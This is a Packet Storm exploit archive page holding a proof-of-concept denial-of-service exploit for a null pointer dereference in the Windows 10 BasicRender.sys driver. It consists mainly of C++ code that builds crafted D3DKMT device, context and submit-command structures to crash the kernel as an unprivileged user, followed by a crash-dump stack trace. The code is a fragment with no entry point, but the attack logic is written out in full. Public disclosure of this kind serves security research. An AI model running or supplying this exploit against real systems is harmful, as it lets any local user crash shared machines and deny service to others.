exploit the possibilities

Microsoft Windows 10 BasicRender.sys Denial Of Service

Microsoft Windows 10 BasicRender.sys Denial Of Service
Posted Dec 21, 2019
Authored by Victor Portal Gonzalez

Microsoft Windows 10 BasicRender.sys denial of service proof of concept exploit.

tags | exploit, denial of service, proof of concept
systems | windows
MD5 | 3c2342d1e7e9dff8e8f4035888ed202c

Microsoft Windows 10 BasicRender.sys Denial Of Service

Change Mirror Download
# Exploit Title: Microsoft Windows 10 BasicRender.sys - Denial of Service (PoC)
# Date: 2019-12-20
# Exploit author: vportal
# Vendor homepage: http://www.microsoft.com
# Version: Windows 10 1803 x86
# Tested on: Windows 10 1803 x86
# CVE: N/A

# A Null pointer deference exists in the WARPGPUCMDSYNC function of the
# BasicRender.sys driver. An unprivileged user can trigger the vulnerability
# to crash the system and deny the service to the rest of the users.

*PoC:*

#include <Windows.h>
#include <d3dkmthk.h>

D3DKMT_CREATEDEVICE* device = NULL;
device = new D3DKMT_CREATEDEVICE();

D3DKMT_ENUMADAPTERS enumAdapter = { 0 };
D3DKMTEnumAdapters(&enumAdapter);
device->hAdapter = enumAdapter.Adapters[1].hAdapter;
logger(log_counter, "EnumAdapter");

D3DKMTCreateDevice(device);

D3DKMT_CREATECONTEXTVIRTUAL* contextVirtual = NULL;
contextVirtual = new D3DKMT_CREATECONTEXTVIRTUAL();
memset(contextVirtual, 0, sizeof(D3DKMT_CREATECONTEXTVIRTUAL));

contextVirtual->hDevice = device->hDevice;

char data[0x200] = { 0 };
memset(data, 0xff, 0x200);

contextVirtual->PrivateDriverDataSize = 0x200;
contextVirtual->pPrivateDriverData = data;

contextVirtual->ClientHint = D3DKMT_CLIENTHINT_DX10;
contextVirtual->Flags.InitialData = 0x000001;
contextVirtual->Flags.NullRendering = 0x0;

D3DKMT_SUBMITCOMMAND* submitCommand = NULL;
submitCommand = new D3DKMT_SUBMITCOMMAND();

submitCommand->BroadcastContext[0] = 0x40000240;

for (int i = 0; i < 0x10; i++)
submitCommand->WrittenPrimaries[i] = 0x0;

submitCommand->PresentHistoryToken = 0x100;
submitCommand->Commands = 0x004b39;
submitCommand->CommandLength = 0x00000d;
submitCommand->BroadcastContext[0] = contextVirtual->hContext;
submitCommand->BroadcastContextCount = 0x1;
submitCommand->Flags.PresentRedirected = 0x1;

submitCommand->PrivateDriverDataSize = 0x130;

char* PrivateData = NULL;
PrivateData = new char[submitCommand->PrivateDriverDataSize];
memset(PrivateData, 0x00, submitCommand->PrivateDriverDataSize);

*(DWORD*)(PrivateData + 0x118) = 0x434e5953;
*(DWORD*)(PrivateData + 0x11c) = 0x18;
*(DWORD*)(PrivateData + 0x120) = 0x000110;
*(DWORD*)(PrivateData + 0x124) = 0x000420;
*(DWORD*)(PrivateData + 0x128) = 0x0;
*(DWORD*)(PrivateData + 0x12c) = 0x000428;

submitCommand->pPrivateDriverData = PrivateData;

D3DKMTSubmitCommand(submitCommand);


--------------------------------------------------------------------------
*Crash dump*:

STACK_TEXT:
8afae92c 8fe82cb2 8afae958 fffffffd 0000048c
BasicRender!WARPGPUCMDSYNC::WARPGPUCMDSYNC+0xc
8afae94c 8fe8267d bb26afe8 00000000 bb26afe0
BasicRender!WARPKMCONTEXT::SubmitVirtual+0x4a
8afae9a8 8fca6af5 91e05000 bb26afe0 93dfc000
BasicRender!WarpKMSubmitCommandVirtual+0x87
8afae9fc 8fc2a934 8afaea68 8afaeac0 92b19db6
dxgkrnl!ADAPTER_RENDER::DdiSubmitCommandVirtual+0x115
8afaea08 92b19db6 90114c30 8afaea68 b78da008
dxgkrnl!ADAPTER_RENDER_DdiSubmitCommandVirtual+0x10
8afaeac0 92b4ac94 93dfc000 cd6ee008 cc6d8860
dxgmms2!VidSchiSendToExecutionQueue+0x526
8afaeb90 92b764a9 00000000 945f5a80 00000000
dxgmms2!VidSchiSubmitRenderVirtualCommand+0x534
8afaebb8 81ee80bc 93dfc000 28e5f697 00000000
dxgmms2!VidSchiWorkerThread+0x1a1
8afaebf0 81fe952d 92b76308 93dfc000 00000000 nt!PspSystemThreadStartup+0x4a
8afaebfc 00000000 00000000 bbbbbbbb bbbbbbbb nt!KiThreadStartup+0x15

eax=8afae958 ebx=00000000 ecx=00000000 edx=00000000 *esi*=00000000
edi=bb26afd8
eip=8fe8386c esp=8afae920 ebp=8afae92c iopl=0 nv up ei pl zr na pe
nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000
efl=00010246
BasicRender!WARPGPUCMDSYNC::WARPGPUCMDSYNC+0xc:
8fe8386c c7061060e88f mov dword ptr [esi],offset
BasicRender!WARPGPUCMDSYNC::`vftable' (8fe86010) ds:0023:00000000=????????
Resetting default scope

--------------------------------------------------------------------------------

The vulnerability has only been tested in Windows 10 x86 1803.
CVSS Base Score: 5.5
Credit: Victor Portal

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

February 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    1 Files
  • 2
    Feb 2nd
    2 Files
  • 3
    Feb 3rd
    17 Files
  • 4
    Feb 4th
    15 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    16 Files
  • 7
    Feb 7th
    19 Files
  • 8
    Feb 8th
    1 Files
  • 9
    Feb 9th
    2 Files
  • 10
    Feb 10th
    15 Files
  • 11
    Feb 11th
    20 Files
  • 12
    Feb 12th
    12 Files
  • 13
    Feb 13th
    18 Files
  • 14
    Feb 14th
    17 Files
  • 15
    Feb 15th
    4 Files
  • 16
    Feb 16th
    4 Files
  • 17
    Feb 17th
    34 Files
  • 18
    Feb 18th
    15 Files
  • 19
    Feb 19th
    19 Files
  • 20
    Feb 20th
    20 Files
  • 21
    Feb 21st
    11 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files
  • 29
    Feb 29th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close